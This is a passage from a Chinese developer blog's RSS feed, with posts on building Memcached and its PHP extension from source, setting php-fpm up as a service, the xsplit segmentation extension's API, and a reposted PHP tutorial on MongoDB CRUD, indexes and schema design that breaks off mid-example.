0px;" />下载地址:&nbsp;<a title="Memcached源码包" href="http://www.euphie.net/downloads/memcached.tar.gz" target="_blank" style="border: 0px; margin: 0px; padding: 0px; color: #666666; text-decoration: none;">http://www.euphie.net/downloads/memcached.tar.gz</a><br style="border: 0px; margin: 0px; padding: 0px;" />下载后解压,里面有几个包:<br style="border: 0px; margin: 0px; padding: 0px;" />1.memcached-1.4.15 //Memcached服务端.<br style="border: 0px; margin: 0px; padding: 0px;" />2.memcached-2.1.0 //PHP的Memcached扩展,其实Memcached扩展有两种,还有一种叫Memcache,不过Memcached比Memcache功能更强大.<br style="border: 0px; margin: 0px; padding: 0px;" />3.libevent-2.0.21-stable //Memcached服务端的依赖包.<br style="border: 0px; margin: 0px; padding: 0px;" />4.libmemcached-1.0.16 //Memcached扩展的依赖包.<br style="border: 0px; margin: 0px; padding: 0px;" /></p><h1>一,安装Libevent</h1><pre style="border: 1px solid silver; margin-top: 10px; margin-bottom: 10px; padding: 15px 20px; font-size: 12px; line-height: 12px; background-color: #f5f5f5; overflow: auto; width: 590.65625px;">#cd libevent-2.0.21-stable #./configure -prefix=/usr/local/libevent #make #make install</pre><h1>二,安装Memcached服务端</h1><pre style="border: 1px solid silver; margin-top: 10px; margin-bottom: 10px; padding: 15px 20px; font-size: 12px; line-height: 12px; background-color: #f5f5f5; overflow: auto; width: 590.65625px;">#cd memcached-1.4.15 #./configure -prefix=/usr/local/memcached  -with-libevent=/usr/local/libevent #make #make install</pre><h1>三,启动Memcached服务</h1><pre style="border: 1px solid silver; margin-top: 10px; margin-bottom: 10px; padding: 15px 20px; font-size: 12px; line-height: 12px; background-color: #f5f5f5; overflow: auto; width: 590.65625px;">#/usr/local/memcached/bin/memcached -d -m 50  -u root -p 12000 -c 256 -P /tmp/memcached.pid</pre><p style="border: 0px; margin: 1em 0px; padding: 0px; line-height: 25px; font-family: arial, helvetica, clean, sans-serif; font-size: small; background-color: #f9f9f9;"><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">注:</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">-d选项是启动一个守护进程，</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">-m是分配给Memcache使用的内存数量，单位是MB.</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">-u是运行Memcache的用户.</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">-l是监听的服务器IP地址,我这里没有填.</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">-p是设置Memcache监听的端口.</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">-c选项是最大运行的并发连接数,默认是1024,按照你服务器的负载量来设定.</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">-P是设置保存Memcache的pid文件.</span></p><h1>四,安装Libmemcached</h1><pre style="border: 1px solid silver; margin-top: 10px; margin-bottom: 10px; padding: 15px 20px; font-size: 12px; line-height: 12px; background-color: #f5f5f5; overflow: auto; width: 590.65625px;">#cd libmemcached-1.0.16 #./configure -prefix=/usr/local/libmemcached  -with-memcached=/usr/local/memcached/bin/memcached #make #make install</pre><p style="border: 0px; margin: 1em 0px; padding: 0px; line-height: 25px; font-family: arial, helvetica, clean, sans-serif; font-size: small; background-color: #f9f9f9;"><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">注:</span><br style="border: 0px; margin: 0px; padding: 0px;" /><span style="border: 0px; margin: 0px; padding: 0px; color: #ff0000;">如果报&#8221;./libmemcached-1.0/memcached.h:46:27: error: tr1/cinttypes: No such file or directory&#8221;错误,则需要升级gcc版本.</span></p><h1>五,安装Memcached PHP扩展</h1><pre style="border: 1px solid silver; margin-top: 10px; margin-bottom: 10px; padding: 15px 20px; font-size: 12px; line-height: 12px; background-color: #f5f5f5; overflow: auto; width: 590.65625px;">#cd memcached-2.1.0 找到phpize和php-config的路径,我的分别是/usr/local/bin/phpize和/usr/bin/php-config. #/usr/local/bin/phpize #./configure --with-php-config=/usr/bin/php-config  --with-libmemcached-dir=/usr/local/libmemcached #make #make install 安装成功后会生成memcached.so,把路径加到php.ini的extension=xxx里.</pre><img src ="http://www.blogjava.net/xiaomage234/aggbug/404546.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2013-09-27 14:25 <a href="http://www.blogjava.net/xiaomage234/archive/2013/09/27/404546.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux中的php-fpm作为服务安装</title><link>http://www.blogjava.net/xiaomage234/archive/2013/09/26/404465.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Thu, 26 Sep 2013 04:14:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2013/09/26/404465.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/404465.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2013/09/26/404465.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/404465.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/404465.html</trackback:ping><description><![CDATA[服务脚本在 sapi/fpm/init.d.php-fpm<br /><br />cp&nbsp;sapi/fpm/init.d.php-fpm /etc/rc.local/init.d/php-fpm<br /><br />chmod +x&nbsp;/etc/rc.local/init.d/php-fpm<br /><br />
<div>chkconfig --add php-fpm</div><img src ="http://www.blogjava.net/xiaomage234/aggbug/404465.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2013-09-26 12:14 <a href="http://www.blogjava.net/xiaomage234/archive/2013/09/26/404465.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>xsplit A PHP extension for Chinese segmentation using MMSEG algorithm[zz]</title><link>http://www.blogjava.net/xiaomage234/archive/2013/08/13/402755.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Tue, 13 Aug 2013 09:35:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2013/08/13/402755.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/402755.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2013/08/13/402755.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/402755.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/402755.html</trackback:ping><description><![CDATA[<div>from:<a href="https://code.google.com/p/xsplit/">https://code.google.com/p/xsplit/</a><br />一点历史</div><div>这个project大约是09年初开始做的，很快就形成了现在版本的样子，后陆续做了一些小修改和修复了一些小bug，现整理了一下决定发布。把它open source的主要原因，就是希望这个小工具能对大家有用，并且能够参与进来一起把它做的更好</div><div></div><div>20101025</div><div></div><div>Change Log</div><div></div><div>20130509 0.0.9 released fixed an issue when compiler uses strict type checking</div><div></div><div>20101108 0.0.8 beta，加入xs_simhash和xs_hdist函数，分别计算simhash和汉明距离。</div><div></div><div>关于xsplit的交流，请到xsplit贴吧： http://tieba.baidu.com/f?kw=xsplit 参与讨论。</div><div></div><div>xsplit是一个PHP扩展，提供基于MMSEG算法的分词功能。目前只在linux下测试并部署过，希望有朋友可以帮忙编译提供windows下的dll。</div><div></div><div>xsplit只处理UTF8编码格式，如果是其他编码格式，请在使用前自行转换</div><div></div><div>xsplit主要有以下几个函数：</div><div></div><div>bool xs_build ( array $words, string $dict_file )</div><div></div><div>resource xs_open (string $dict_file [, bool $persistent])</div><div></div><div>array xs_split ( string $text [, int $split_method = 1 ［, resource $dictionary_identifier ］ ] )</div><div></div><div>mixed xs_search ( string $text ［, int $search_method [, resource $dictionary_identifer ] ］ )</div><div></div><div>string xs_simhash( string $text [, bool $isBinary] )&nbsp;</div><div></div><div>int xs_hdist( string $simhash1, string $simhash2 )</div><div>安装过程与一般的PHP扩展安装一样</div><div></div><div>$phpize</div><div>$./configure --with-php-config=/path/to/php-config</div><div>$make</div><div>$make install</div><div>php.ini中可以设置以下参数：</div><div></div><div>xsplit.allow_persisten = On</div><div>xsplit.max_dicts = 5</div><div>xsplit.max_persistent = 3</div><div>xsplit.default_dict_file = /home/xdict</div><div>xsplit.allow_persistent 是否允许加载持久词典</div><div></div><div>xsplit.max_dicts 允许同时打开的最大词典数目</div><div></div><div>xsplit.max_persistent 允许同时打开的最大持久词典数目</div><div></div><div>xsplit.default_dict_file 默认的词典，没有指定词典时会调用此词典</div><div></div><div>源码中有一个utils目录，包含</div><div></div><div>make_dict.php 提供命令行方式创建词典</div><div>xsplit.php 一个简单的示例文件</div><div>xdict_example.txt 一个文本词库的格式示例</div><div>make_dict.php的使用例子如下：</div><div></div><div>$php make_dict.php ./xdict_example.txt ./xdict.db</div><div>文本词库的格式请参考xdict_example.txt</div><div></div><div>bool xs_build (array $words, string $dict_file)</div><div></div><div>从$words数组建立名称为$dict_file的词典，若成功则返回true。$words数组的格式请参考示例，key为词语，value为词频。</div><div></div><div>例子如下：</div><div></div><div>&lt;?php</div><div>$dict_file='dict.db';</div><div></div><div>$dwords['美丽']=100;</div><div>$dwords['蝴蝶']=100;</div><div>$dwords['永远']=100;</div><div>$dwords['心中']=100;</div><div>$dwords['翩翩']=100;</div><div>$dwords['飞舞']=100;</div><div>$dwords['翩翩飞舞']=10;</div><div></div><div>if(!xs_build($dwords, $dict_file)) {</div><div>&nbsp; &nbsp; die('建立词典失败！');</div><div>}</div><div>resource xs_open (string $dict_file [, bool $persistent])</div><div></div><div>打开一个词典文件，并返回一个resource类型的identifier。$persistent可以指定是否是持久化词典，持久化词典在这里可以理解为词典资源生命周期的不同，一般情况下$persistent=true或者默认缺省即可。在进行分词的时候，可以指定不同的词典。</div><div></div><div>$dict_file_1 = 'xdcit.db';</div><div>$dict_file_2 = 'mydict.db';</div><div></div><div>$dict1 = xs_open($dict_file);</div><div></div><div>xs_open($dict_file);&nbsp;</div><div>array xs_split ( string $text [, int $split_method = 1 ［, resource $dictionary_identifier ］ ] )</div><div></div><div>对文本进行分词，可以指定分词方法和词典。分词方法目前有两种，一个是MMSEG算法（默认），一个是正向最大匹配，分别用常量XS_SPLIT_MMSEG和XS_SPLIT_MMFWD表示。返回值是一个数组，包含所有切分好的词语。如果不指定词典，最后一次打开的词典将被使用。</div><div></div><div>&lt;?php</div><div>$text="那只美丽的蝴蝶永远在我心中翩翩飞舞着。";</div><div>$dict_file = 'xdict.db';</div><div>$dict_res = xs_open($dict_file);</div><div>$words = xs_split($text); &nbsp;/* 此处没有指定词典资源，默认使用最后一次打开的词典 */</div><div></div><div>$words1 = xs_split($text, XS_SPLIT_MMSEG, $dict_res);</div><div>mixed xs_search ( string $text ［, int $search_method [, $dictionary_identifer ] ］ ) 基于双数组trie树提供的一些功能，$search_method有四个常量表示：</div><div></div><div>XS_SEARCH_CP : darts的commonPrefixSearch封装，如果没有找到，返回false。</div><div></div><div>XS_SEARCH_EM : darts的exactMatchSearch封装，如果没有找到，返回false。</div><div></div><div>XS_SEARCH_ALL_SIMPLE : 按照词典返回所有词语词频总和，一个INT型数值。</div><div></div><div>XS_SEARCH_ALL_DETAIL : 按照词典返回所有词典的词频，并以数组形式返回每一个词语的详细统计。</div><div></div><div>如果不指定词典，最后一次打开的词典将被使用。</div><div></div><div>&lt;?php</div><div>xs_open($dict_file);</div><div>$text="那只美丽的蝴蝶永远在我心中翩翩飞舞着。";</div><div>$word='翩翩飞舞';</div><div>$result=xs_search($word, XS_SEARCH_CP); /* common prefix search */</div><div>var_dump($result);</div><div>$result=xs_search($word, XS_SEARCH_EM); /* exact match search */</div><div>var_dump($result);</div><div>$result=xs_search($text, XS_SEARCH_ALL_SIMPLE);</div><div>var_dump($result);</div><div>$result=xs_search($text, XS_SEARCH_ALL_DETAIL);</div><div>var_dump($result);</div><div>string xs_simhash( array $tokens [, bool $rawoutput] )</div><div></div><div>计算simhash。这里所有token权重都是1，$tokens的例子如array('在', '这个', '世界')。$rawoput默认为0，即返回simhash的hex string形式，如md5， sha1函数一样；如过$rawoput为真，返回一个8字节的字符串，这个字符串实际上是一个64 bits的整型数，uint64_t，在一些特殊情况下可以用到。</div><div></div><div>int xs_hdist（ string $simhash1, $string $simhash2)</div><div></div><div>计算汉明距离。</div><div></div><div>&lt;?php</div><div>xs_open('xdict');</div><div>$text1="那只美丽的蝴蝶永远在我心中翩翩飞舞着。";</div><div>$text2="那只美丽的蝴蝶永远在我心中翩翩飞舞。";</div><div>$tokens1=xs_search($text1, XS_SEARCH_ALL_INDICT); /* 去掉标点等特殊符号，经过实验，计算simhash时，一些标点、换行、特殊符号等对效果影响较大 */</div><div>$tokens2=xs_search($text2, XS_SEARCH_ALL_INDICT);</div><div></div><div>$simhash1=xs_simhash($tokens1);</div><div>$simhash2=xs_simhash($tokens2);</div><div></div><div>echo "simhash1 is {$simhash1}\n";</div><div>echo "simhash2 is {$simhash2}\n";</div><div></div><div>$hamming_dist=xs_hdist($simhash1, $simhash2);</div><div></div><div>echo "bit-wise format:\n";</div><div>echo decbin(hexdec($simhash1)), "\n";</div><div>echo decbin(hexdec($simhash2)), "\n";</div><div></div><div>echo "hamming distance is {$hamming_dist}\n";</div><div>Terms - Privacy</div><img src ="http://www.blogjava.net/xiaomage234/aggbug/402755.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2013-08-13 17:35 <a href="http://www.blogjava.net/xiaomage234/archive/2013/08/13/402755.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】淘宝TFS分布式文件系统 + php接口</title><link>http://www.blogjava.net/xiaomage234/archive/2012/11/15/391374.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Thu, 15 Nov 2012 04:43:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/11/15/391374.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/391374.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/11/15/391374.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/391374.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/391374.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 2012-05-05 01:15:57|&nbsp;&nbsp;分类：&nbsp;分布式文件系统&nbsp;|&nbsp;&nbsp;标签：淘宝tfs&nbsp;&nbsp;tfs&nbsp;&nbsp;tfs分布式文件系统&nbsp;&nbsp;分布式文件系统&nbsp;&nbsp;|字号&nbsp;订阅from:http://blog.163.com/a12333a_li/blog/stati...&nbsp;&nbsp;<a href='http://www.blogjava.net/xiaomage234/archive/2012/11/15/391374.html'>阅读全文</a><img src ="http://www.blogjava.net/xiaomage234/aggbug/391374.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-11-15 12:43 <a href="http://www.blogjava.net/xiaomage234/archive/2012/11/15/391374.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MongoDB的php应用开发 [转]</title><link>http://www.blogjava.net/xiaomage234/archive/2012/06/25/381437.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Mon, 25 Jun 2012 09:13:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/06/25/381437.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/381437.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/06/25/381437.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/381437.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/381437.html</trackback:ping><description><![CDATA[<div><div id="blog_text"><div><div><div><strong>一、连接数据库主机</strong></div><div>连接本地主机，端口为27017:</div><div>$connection = new Mongo();</div><div></div><div>连接远程主机，端口为默认端口:</div><div>$connection= new Mongo( "192.168.2.1" );</div><div></div><div>连接远程主机，端口为指定端口:</div><div>$connection = new Mongo( "192.168.2.1:65432" );</div><div></div><div>选择数据库，如果指定的数据库不存在，则会自动创建一个新的数据库，有2种方法：</div><div>$db = $connection-&gt;selectDB('dbname');</div><div>或</div><div>$db = $connection-&gt;dbname;</div><div></div><div>选择集合(collection)，与使用关系型数据库中的表类似，有2种方法：</div><div>$collection = $db-&gt;selectCollection('people');</div><div>或</div><div>$collection = $db-&gt;people;</div><div></div><div><strong>二、插入新文档(document)</strong></div><div>collection对象用来执行信息管理，例如，想存储一个关于某人的信息，可以如下编码：</div><div>$person = array(</div><div>&nbsp;'name' =&gt; 'Cesar Rodas',</div><div>&nbsp;'email' =&gt; 'crodas@php.net',</div><div>&nbsp;'address' =&gt; array(</div><div>&nbsp;&nbsp;array(</div><div>&nbsp;&nbsp; 'country' =&gt; 'PY',</div><div>&nbsp;&nbsp; 'zip' =&gt; '2160',</div><div>&nbsp;&nbsp; 'address1' =&gt; 'foo bar'</div><div>&nbsp;&nbsp;),</div><div>&nbsp;&nbsp;array(</div><div>&nbsp;&nbsp; 'country' =&gt; 'PY',</div><div>&nbsp;&nbsp; 'zip' =&gt; '2161',</div><div>&nbsp;&nbsp; 'address1' =&gt; 'foo bar bar foo'</div><div>&nbsp;&nbsp;),</div><div>&nbsp;),</div><div>&nbsp;'sessions' =&gt; 0,</div><div>);</div><div></div><div>$safe_insert = true;</div><div>$collection-&gt;insert($person, $safe_insert);</div><div>$person_identifier = $person['_id'];</div><div></div><div>其中：</div><div>$safe_insert参数用于等待MongoDB完成操作，以便确定是否成功，默认值为false,当有大量记录插入时使用该参数会比较有用。</div><div>插入新文档后，MongoDB会返回一个记录标识。</div><div></div><div><strong>三、更新文档</strong></div><div>例如，更新上面已经创建的个人信息，增加sessions属性值，在第1个address处增加address2属性，删除第2个address，代码如下：</div><div>首先，定义一个filter(过滤器)告诉MongoDB要更新一个指定的文档</div><div>$filter = array('email' =&gt; 'crodas@php.net');</div><div>$new_document = array(</div><div>&nbsp;'$inc' =&gt; array('sessions' =&gt; 1),</div><div>&nbsp;'$set' =&gt; array(</div><div>&nbsp;&nbsp; 'address.0.address2' =&gt; &nbsp;'Some foobar street',</div><div>&nbsp;),</div><div>&nbsp;'$unset' =&gt; array('address.1' =&gt; 1),</div><div>);</div><div>$options['multiple'] = false;</div><div>$collection-&gt;update(</div><div>&nbsp;$filter,</div><div>&nbsp;$new_document,</div><div>&nbsp;$options</div><div>);</div><div></div><div>MongoDB也支持批量更新，与关系型数据库类似，可以更新给定条件的所有文档，如果想这么做的话，就需要设置options的multiple的值为true.</div><div></div><div><strong>四、查询文档</strong></div><div>定义一个符合给定标准的条件过滤器，通过使用查询选择器来获取文档。</div><div>例，通过e-mail address来获取信息：</div><div>$filter = array('email' =&gt; 'crodas@php.net');</div><div>$cursor = $collection-&gt;find($filter);</div><div>foreach ($cursor as $user)&nbsp;</div><div>{</div><div>&nbsp;&nbsp;var_dump($user);</div><div>}</div><div></div><div>例，获取sessions大于10的信息：</div><div>$filter = array('sessions' =&gt; array('$gt' =&gt; 10));</div><div>$cursor = $collection-&gt;find($filter);</div><div></div><div>例，获取没有设置sessions属性的信息：</div><div>$filter = array(</div><div>&nbsp;'sessions' =&gt; array('$exists' =&gt; false)</div><div>);</div><div>$cursor = $collection-&gt;find($filter);</div><div></div><div>例，获取地址在PY并且sessions大于15的信息：</div><div>$filter = array(</div><div>&nbsp;'address.country' =&gt; 'PY',</div><div>&nbsp;'sessions' =&gt; array('$gt' =&gt; 10)</div><div>);</div><div>$cursor = $collection-&gt;find($filter);</div><div></div><div>有一个重要的细节需要注意，只有当需要结果的时候查询才会被执行，在第1个例子中，当foreach循环开始时，查询才被执行。</div><div>这是个很有用的特性，因为这可以通过在游标(cursor)中增加选项来取回结果，恰好在定义查询后，执行查询前这个时刻。例如，可以设置选项来执行分页，或者获取指定数目的匹配的文档。</div><div>$total = $cursor-&gt;total();</div><div>$cursor-&gt;limit(20)-&gt;skip(40);</div><div>foreach($cursor as $user) {</div><div>}</div><div></div><div><strong>五、获取文档的聚类</strong></div><div>MongoDB支持结果的聚类，类似于关系数据库，可以使用count,distinct和group等聚类操作。</div><div>聚类查询返回数组(array)，而不是整个文档对象。</div><div>分组操作允许定义用Javascript编写的MongoDB服务器端功能，该操作执行分组属性。因为可以执行许多带有分组值的操作类型，所以会更灵活，但是相比SQL执行例如SUM(),AVG()等</div><div>简单的分组操作来说，这还是有些困难。</div><div>下面这个例子演示了如何获取国家的的地址列表，以及匹配地址的国家出现的次数：</div><div>$countries = $collection-&gt;distinct(</div><div>&nbsp;array("address.country")</div><div>);</div><div>$result = $collection-&gt;group(</div><div>&nbsp;</div><div>&nbsp;array("address.country" =&gt; True),</div><div></div><div>&nbsp;</div><div>&nbsp;array("sum" =&gt; 0), &nbsp; &nbsp;</div><div></div><div>&nbsp; &nbsp;&nbsp;</div><div>&nbsp;"function (obj, prev) { prev.sum += 1; }",</div><div></div><div>&nbsp;</div><div>&nbsp;array("session" =&gt; array('$gt' =&gt; 10))</div><div></div><div>);</div><div></div><div><strong>六、删除文档</strong></div><div>删除文档与获取或更新文档很类似。</div><div>$filter = array('field' =&gt; 'foo');</div><div>$collection-&gt;remove($filter);</div><div></div><div>要注意，默认所有符合条件的文档都会被删除，如果只想删除符合条件的第1个文档，那么在给remove函数的第二个参数赋值为true。</div><div></div><div><strong>七、索引支持</strong></div><div>有一个很重要的特点，使得决定选择MongoDB，而不是选择其它的类似的面向文档的数据库，这个特点就是对索引的支持，这和关系型数据库的表索引很类似，并不是所有的面向文档的数据库都</div><div>提供内置的索引支持。</div><div>使用MongoDB的创建索引功能可以避免在查询期间在所有文档中进行操作，这就象关系数据库中使用索引来避免全表查询一样。这可以加速那些涉及到索引属性的符合条件的文档的查询。</div><div>例如，如果想在e-mail地址属性上建立唯一的索引，如下所示：</div><div>$collection-&gt;ensureIndex(</div><div>&nbsp;array('email' =&gt; 1),</div><div>&nbsp;array('unique' =&gt; true, 'background' =&gt; true)</div><div>);</div><div></div><div>第1个数组参数描述将要成为索引的所有属性，可以是1个或多个属性。</div><div>默认情况下，索引的创建是一个同步操作，所以，如果文档数目很大的话，把索引的创建放在后台运行会是个好主意，就象上面例子所演示的。</div><div>只有一个属性的索引可能不够用，下面这个例子演示如何通过在2个属性上定义索引来加速查询。</div><div>$collection-&gt;ensureIndex( &nbsp;</div><div>&nbsp;&nbsp;array('address.country' =&gt; 1, 'sessions' =&gt; 1),</div><div>&nbsp;&nbsp;array('background' =&gt; true)</div><div>);</div><div></div><div>每个索引的值定义了索引的顺序：1表示降序(descending），-1表示升序(ascending)</div><div>索引顺序在有排序选项的查询优化中是有用的，如下例所示：</div><div>$filter = array( &nbsp; &nbsp;</div><div>&nbsp;'address.country' =&gt; 'PY',</div><div>);</div><div>$cursor = $collection-&gt;find($filter)-&gt;order(</div><div>&nbsp;&nbsp;array('sessions' =&gt; -1)</div><div>);</div><div></div><div>$collection-&gt;ensureIndex(</div><div>&nbsp;array('address.country' =&gt; 1, 'sessions' =&gt; -1),</div><div>&nbsp;array('background' =&gt; true)</div><div>);</div></div><p>&nbsp;</p><p>&nbsp;</p><div>八、实际应用</div><div>一些开发人员可能害怕使用一种新型的数据库，因为它和他们以前工作中用过的那些不同。</div><div>在理论上学习新事物不同于在实践中学习如何使用，所以，这部分内容将通过比较基于SQL的关系型数据库，比如MySQL，来解释如何用MongoDB来开发实际应用，这样就可以熟悉这两种途径</div><div>的不同。</div><div>例如，我们将构建一个blog系统，有用户，提交和评论功能。在使用关系型数据库的时候，你可以象下面这样通过定义表模式来实现它。</div><div><img src="http://hiphotos.baidu.com/bsdgo/pic/item/ead84b33e61ab8cea8018e1d.jpg"  alt="" /><br /><br />在MongoDB中实现同样的文档定义如下：</div><div>$users = array(</div><div>&nbsp;'username' =&gt; 'crodas', &nbsp;&nbsp;</div><div>&nbsp;'name' =&gt; 'Cesar Rodas',</div><div>);</div><div></div><div>$posts = array(</div><div>&nbsp;'uri' =&gt; '/foo-bar-post',</div><div>&nbsp;'author_id' =&gt; $users-&gt;_id,</div><div>&nbsp;'title' =&gt; 'Foo bar post',</div><div>&nbsp;'summary' =&gt; 'This is a summary text',</div><div>&nbsp;'body' =&gt; 'This is the body',</div><div>&nbsp;'comments' =&gt; array(</div><div>&nbsp;&nbsp;array(</div><div>&nbsp;&nbsp; 'name' =&gt; 'user',</div><div>&nbsp;&nbsp; 'email' =&gt; 'foo@bar.com',</div><div>&nbsp;&nbsp; 'content' =&gt; 'nice post'</div><div>&nbsp;&nbsp;)&nbsp;</div><div>&nbsp;)</div><div>);</div><div></div><div>你可能注意到，我们只用一个文档就代替了posts和comments两个表，这是因为comments是post文档的子文档。这样做使实现更简单，在你想存取发布内容和它的评论时，会节省查询数据库的时间。</div><div>为了更简洁，用户所做评论的细节可以和评论的定义合并，所以你可以用一个查询来获取所发布的内容，评论和用户这些信息。</div><div>$posts = array(</div><div>&nbsp;'uri' =&gt; '/foo-bar-post',</div><div>&nbsp;'author_id' =&gt; $users-&gt;_id,</div><div>&nbsp;'author_name' =&gt; 'Cesar Rodas',</div><div>&nbsp;'author_username' =&gt; 'crodas',</div><div>&nbsp;'title' =&gt; 'Foo bar post',</div><div>&nbsp;'summary' =&gt; 'This is a summary text',</div><div>&nbsp;'body' =&gt; 'This is the body',</div><div>&nbsp;'comments' =&gt; array(</div><div>&nbsp;&nbsp;array(</div><div>&nbsp;&nbsp; 'name' =&gt; 'user',</div><div>&nbsp;&nbsp; 'email' =&gt; 'foo@bar.com',</div><div>&nbsp;&nbsp; 'comment' =&gt; 'nice post'</div><div>&nbsp;&nbsp;),&nbsp;</div><div>&nbsp;)</div><div>);</div><div></div><div>这意味着会存在一些重复信息，但现在磁盘空间比CPU的RAM要便宜得多，以空间换时间，网站访问者的耐心和时间更重要。如果你关注重复信息的同步，那么在更新author信息的时候，你可以执行下面这个更新查询来解决这个问题。</div><div>$filter = array( &nbsp;&nbsp;</div><div>&nbsp;'author_id' =&gt; $author['_id'],</div><div>);</div><div></div><div>$data = array(</div><div>&nbsp;'$set' =&gt; array(</div><div>&nbsp;&nbsp;'author_name' =&gt; 'Cesar D. Rodas',</div><div>&nbsp;&nbsp;'author_username' =&gt; 'cesar',</div><div>&nbsp;)</div><div>);</div><div></div><div>$collection-&gt;update($filter, $data, array(</div><div>&nbsp;&nbsp;'multiple' =&gt; true)</div><div>);</div><div></div><div>以上是我们对数据模型的转换和优化，下面将重写一些用在MongoDB中的和SQL等价的查询。</div><div>SELECT * FROM posts</div><div>&nbsp;INNER JOIN users ON users.id = posts.user_id</div><div>&nbsp;WHERE URL = :url;</div><div>SELECT &nbsp;* FROM comments WHERE post_id = $post_id;</div><div></div><div>首先，增加索引：</div><div>$collection-&gt;ensureIndex(&nbsp;</div><div>&nbsp;array('uri' =&gt; 1),</div><div>&nbsp;array('unique' =&gt; 1, 'background')</div><div>);</div><div></div><div>$collection-&gt;find(array('uri' =&gt; '&lt;uri&gt;'));</div><div></div><div>INSERT INTO comments(post_id, name, email, contents)</div><div>&nbsp;VALUES(:post_id, :name, :email, :comment);</div><div></div><div></div><div>$comment = array( &nbsp;&nbsp;</div><div>&nbsp;'name' =&gt; $_POST['name'], &nbsp;&nbsp;</div><div>&nbsp;'email' =&gt; $_POST['email'], &nbsp;&nbsp;</div><div>&nbsp;'comment' =&gt; $_POST['comment'],</div><div>);</div><div></div><div>$filter = array(</div><div>&nbsp;'uri' =&gt; $_POST['uri'],&nbsp;</div><div>);</div><div></div><div>$collection-&gt;update($filter, array(</div><div>&nbsp;'$push' =&gt; array('comments' =&gt; $comment))</div><div>);</div><div></div><div>SELECT * FROM posts WHERE id IN (</div><div>&nbsp;SELECT DISTINCT post_id FROM comments WHERE email = :email</div><div>);</div><div></div><div>首先，增加索引：</div><div>$collection-&gt;ensureIndex(</div><div>&nbsp;array('comments.email' =&gt; 1),</div><div>&nbsp;array('background' =&gt; 1)</div><div>);</div><div>$collection-&gt;find( array('comments.email' =&gt; $email) );</div><div></div><div>九、用MongoDB存储文件</div><div>MongoDB也提供许多超过基本数据库操作的特点。例如，它提供了在数据库中存储小文件和大文件的解决方案。</div><div>文件被自动分块(块)。如果MongoDB运行在自动分片(auto-sharded)环境，文件块也会被跨多个服务器复制。</div><div>有效地解决文件的存储是一个相当困难的问题，尤其是当你需要管理大量的文件时。把文件保存在本地文件系统中通常不是个好的方案。</div><div>一个困难的例子是YouTube必须有效地服务那些上百万视频的小图片，或者由Facebook为数十亿图片提供的高效运行服务。</div><div>MongoDB通过创建两个内部集合(collections)来解决这个问题：文件集合保存关于文件元数据的信息，块集合保存关于文件块的信息。</div><div>如果你想存储一个大的视频文件，你可以使用如下这样的代码：</div><div>$metadata = array(</div><div>&nbsp;"filename" =&gt; "path.avi",</div><div>&nbsp;"downloads" =&gt; 0, &nbsp;&nbsp;</div><div>&nbsp;"comment" =&gt; "This file is foo bar", &nbsp;&nbsp;</div><div>&nbsp;"permissions" =&gt; 